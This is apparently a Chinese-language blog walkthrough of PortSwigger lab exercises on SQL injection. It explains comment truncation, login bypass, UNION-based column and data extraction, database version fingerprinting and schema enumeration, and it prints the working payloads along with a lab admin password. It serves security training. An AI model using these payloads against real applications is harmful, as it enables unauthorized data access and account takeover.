【BP靶场portswigger-服务端1】SQL注入-17个实验(全)(上)

简介: 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

助你一臂之力  


📋问题1:大佬们都是如何快速发现漏洞点的?

🎯编写自动化脚本跑

🎯经验之谈(熟能生巧)

🎯细心谨慎(注意到一些细微差别)


📋问题2:使用的工具有哪些?


🎯BP的攻击模块

🎯sqlmap

🎯更多的是自己编写的脚本


60b618ab756f41a4bfb95b3355e6f6e6.png


一、SQL意义


1、目的:


未经授权访问敏感数据


2、示例:

1、检索隐藏数据,在其中修改 SQL 查询以返回其他结果。

2、颠覆应用程序逻辑,在其中更改查询以干扰应用程序的逻辑。

3、UNION 攻击,在其中从不同的数据库表中检索数据。

4、检查数据库,在其中提取有关数据库版本和结构的信息。

5、盲 SQL 注入,控制的查询结果不会在应用程序的响应中返回。


二、检索隐藏数据


心得:隐藏参数的注释(或者爆破分类,从而得到隐藏分类)


示例:
一个显示不同类别产品的购物应用程序。当用户单击“礼品”类别时,其浏览器会请求 URL:
https://insecure-website.com/products?category=Gifts
SQL查询,以从数据库中检索相关产品的详细信息:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
此 SQL 查询要求数据库返回:
所有详细信息 (*)
从产品表
其中类别为礼品
并释放是 1
该限制用于隐藏未发布的产品。对于未发布的产品,大概为released = 1 released = 0


注入:
构建如下攻击('--)
https://insecure-website.com/products?category=Gifts'--
将导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
后面查询的其余部分将被删除(--AND released = 1),意味着将显示所有产品,包括未发布的产品
攻击者可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
将导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
将返回类别为“礼物”或 1 = 1 的所有(始终为 true)


实验1:隐藏商品


part1:

点击分类为礼物(未做任何修改)

9489aa9e0ac14f2c9e9af2fa025cc9dc.png

part2:


把分类后面的内容注释调了,出现了新产品

375f58506d674d1c9ed9dfd2399b430f.png



part3:


随便点击一个分类(加上'+or+1=1--)


0329cea31d8b476fb426f10125d1eb9b.png


显示了所有商品(包括隐藏商品)


d16e57eba4f64cd7a1282939ae24113b.png


cc08a67e1eb44e95b307f9484d3628ef.png


三、颠覆应用程序逻辑


心得:登陆逻辑的绕过(相当于试判断成立)


示例:
如果用户提交用户名和密码
执行SQL 查询来检查凭据:(wiener  bluecheese)
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询返回用户的详细信息,则登录成功。否则,将被拒绝
注入:
使用 SQL 注释序列从查询子句中删除密码检查,即可在没有密码的情况下以任何用户身份登录
如提交用户名+空白密码(--WHEREadministrator'--)
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
此查询返回用户名为administrator的用户,并成功将攻击者登录到该用户。


实验2:登陆逻辑


part1:


点击后进行登陆(需要输入密码,才能提交)


39c12503bffe4642ab17e7aa54259557.png


part2:


POST数据包中有csrf、username、password三个参数


c0fbf6a7c73e44d19649af948e1c0dd3.png

在username后加上'--注释掉后面的内容


(前提不是预编译那种,且没过滤,害)


0069331f999c4aba8d40972d299f3e4b.png


d9d2aa9b246c48098fd8cfb6a9d8b8f1.png


四、从其他数据库表中检索数据


心得:union联合查询(类似的还有堆叠注入,order by分类)


示例:
如果 SQL 查询的结果在应用程序的响应中返回,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。这是使用关键字完成的,该关键字允许您执行其他查询并将结果追加到原始查询。UNIONSELECT
例如,如果应用程序执行以下包含用户输入“礼物”的查询:
SELECT name, description FROM products WHERE category = 'Gifts'
注入:
攻击者可以提交输入:
' UNION SELECT username, password FROM users--

实验3:判断列


part1:


点击一个分类
然后判断列数
'order by 3 --
正常回显

f53b842d70214c5289608d20d34d3b64.png


'order by 4 --
报错

b695c174af6844439c31aadf11205b9c.png


part2:


本题是要使用union select


'union+select+null,null,null--

59a04e93cb004869910971b8453b11c1.png


心得:判断字段数,以及可回现的位置、字段名


实验4:判断字段对应位置


part1:


'union+select+'NeXKXZ',null,null--


使用题目给的字符串,3个位置依次换,直到对上指定列的位置


2f26f5620f7649c38f186966a361bb56.png

'union+select+null,'NeXKXZ',null--


在第二个位置就正确了


2d3023aa80ea4d36bb56657de8711a3b.png


心得:union select联合查询数据


实验5:其他表检索数据


part1:


先判段为2列,再根据题目信息,username,password


'union+select+username,password from users--

20a874c03a7c46528bf1821dc36618cb.png


part2:


使用账号登陆


administrator of0vwdslqljccpzv3eik


d22b1aa447d34874bbed3da0a9b39f0a.png

心得:单个列中联合检索多个列的数据(不同数据库连接方法不同)


实验6:单个列中检索多个字段


判断是2列后


发现不是2列都是字符型


'union+select+'a','a'--

72c8db9500694fe086b1dbfffaeecaa7.png


第二列才是返回的字符型


第一列是数值型


'union+select+null,'a'--

d1565b85d9ff4eff8ca9388815d2747d.png


'union+select+'a',null--


扩展(不同数据库字符串的连接方法):
Oracle: 'foo'||'bar'
SQL Server: 'foo'+'bar'
Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar')
PostgreSQL: 'foo'||'bar'

part2:


将username,password合并到了一列带出


'union+select+null,username||'~'||password+from+users----

76c7bb59056543e4ae096bfbf2544ccd.png


part3:


登陆


心得:不同的数据库查询语句不同


实验7:Orange数据库版本


part1:


提示了为Oracle数据库(查询需要带上表,dual表,此表是Oracle数据库中的一个自带表)


order+by判断为2列,且2列都字符串型


'union+select+'a','b'+from+dual--

f1193d49d82d40d89324485c672a9b31.png


扩展(各数据库查询版本语句):
Mysql        SELECT version()
Sql Server   SELECT @@version
Oracle       SELECT * FROM v$version
Postgre      SELECT version()

part2:


banner提示:


11b44c9a31824e919debefbdcf696ad0.png


'union+select+banner,null+from+v$version--

4d4feff2f0f74611b71d22ea0b16ba62.png

心得:通过不同数据库查询语句,判断为何种数据库


实验8:Mysql数据库版本


part1:


'order by 2-- a
'union+select+null,'a'-- a


(此处-- a是为了使空格不被插件忽略,使得注释成功)

————

part2:

'union+select+null,version()-- a


1993c88986df425393570a99a48a6892.png

a2910a33787449f2838c01b29546a9d4.png


心得:基础知识:自带的information_schema


实验9:Orange数据库检索1

part1:


2列,且都是字符型


'order by 2--
'+UNION+SELECT+'a','b'--

part2:


查所有表(自带的information_schema)


'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--

7ee3b03be89c45abada1941d36557d28.png

查用户相关的表中的所有字段


'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_ybbtel'--

06ee323fc4b84900b22596a046a61012.pngc04a679a915e451da63149fdd75f42c2.png


查字段所对应的数据


'+UNION+SELECT+username_icxunp,password_gqvjoo+FROM+users_ybbtel--

fe0b947973af458886ea2ca62140c4c9.png


part3:


登陆


心得:Orange特殊之FROM+dual


实验10:Orange数据库检索2


part1:


2列,且都是字符型


'order by 2--
'UNION+SELECT+'a','b'+FROM+dual--

part2:


查所有表(找到用户表)


'UNION+SELECT+table_name,NULL+FROM+all_tables--

58ccb93505fd4a96a98d7cd2e55aa0fa.png

查所有字段


'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_YSRTOP'--

6f5909c5fe1a4e1eba0ac8806d1631e5.png

爆数据


'UNION+SELECT+USERNAME_KNSBZS,PASSWORD_VROHTE+FROM+USERS_YSRTOP--

29ddd97cb11545379e1eb47a12fc6d42.png

part3:


登陆


五、SQL盲注


【SQL盲注】基础函数、报错回显、延时判断、逻辑判断盲注

https://blog.csdn.net/qq_53079406/article/details/123124994?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-123124994-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450


【SQL注入-无回显】布尔盲注:原理、函数、利用过程

https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-4-125275974-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450


【SQL注入-无回显】时间盲注:原理、函数、利用过程

https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-6-125096394-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450


心得:观察回显的不同(先看字节数)


目录
相关文章
|
1月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
130 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
67 5
|
1月前
|
SQL 存储 数据库
实验4:SQL视图操作与技巧
在SQL数据库管理中,视图(View)是一种虚拟表,它基于SQL查询的结果集创建,并不存储实际数据,而是存储查询定义
|
1月前
|
SQL 存储 数据库
实验4:SQL视图操作技巧与方法
在数据库管理系统中,视图(View)是一种虚拟表,它基于SQL查询的结果集创建,并不实际存储数据
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
117 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
47 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
47 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
87 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
51 5